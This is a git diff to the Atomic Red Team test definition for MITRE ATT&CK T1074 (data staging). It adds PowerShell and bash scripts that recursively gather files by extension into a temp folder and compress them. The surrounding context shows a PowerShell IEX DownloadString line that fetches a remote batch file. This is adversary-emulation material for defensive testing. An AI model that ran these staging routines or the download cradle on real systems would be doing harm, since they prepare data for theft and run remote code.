diff --git a/atomics/T1074/T1074.md b/atomics/T1074/T1074.md index f6f81835..325d66eb 100644 --- a/atomics/T1074/T1074.md +++ b/atomics/T1074/T1074.md @@ -15,6 +15,7 @@ Data Sources: File monitoring, Process monitoring, Process command-line paramete ## Atomic Tests - [Atomic Test #1 - Stage data from Discovery.bat](#atomic-test-1---stage-data-from-discoverybat) +- [Atomic Test #2 - Collect all files extensions and stage within a compressed directory](#atomic-test-1---compress-all-file-types)
@@ -30,3 +31,77 @@ Utilize powershell to download discovery.bat and save to a local file powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.bat')" > c:\windows\pi.log ```
+
+
+ +## Atomic Test #2 - Collect and Compress all file types +Collect all specified file extensions recursively from a specified file path on the target machine. All located files are copied into a temporary location before being compressed. + +**Supported Platforms:** +- Windows +- Linux + + +#### Run it with `powershell`! +Note: +- ```{{ path }}```: requires a default path to start recursive search from +- ```{{ extension }}```: requires a file extension to search for + +``` +$FolderPath = '{{ path }}' +$FileExtension = '{{ extension }}' + +New-Item -ItemType directory -Path C:\temp\staging + +function TestPath() +{ + $FileExists = Test-Path $FolderPath + If ($FileExists -eq $True) + { + Return $true + } + Else + { + Return $false + } +} + +function ZipFiles() +{ + Add-Type -Assembly System.IO.Compression.FileSystem + $compressionLevel = [System.IO.Compression.CompressionLevel]::Optimal + [System.IO.Compression.ZipFile]::CreateFromDirectory("C:\temp\staging", + "C:\temp\staging.zip", $compressionLevel, $false) +} + +$Result = (TestPath($FolderPath)); + +If ($Result) +{ + $Dir = get-childitem $FolderPath -Recurse -ErrorAction Ignore + $List = $Dir | where {$_.extension -eq $FileExtension} + $List | Copy-Item -Destination C:\temp\staging\ -ErrorAction Ignore +} +else +{ + "Folder path is incorrect." +} + +ZipFiles + +Remove-Item -Recurse -Force C:\temp\staging + +``` + +#### Run it with `bash`! +Note: +- ```{{ path }}```: requires a default path to start recursive search from +- ```{{ extension }}```: requires a file extension to search for + +``` +mkdir -p /tmp/staging +find {{ path }} -name '*{{ extension }}' -exec cp -prv '{}' '/tmp/staging' ';' +tar -zcvf /tmp/staging.tar.gz /tmp/staging/ +rm -rf /tmp/staging +``` +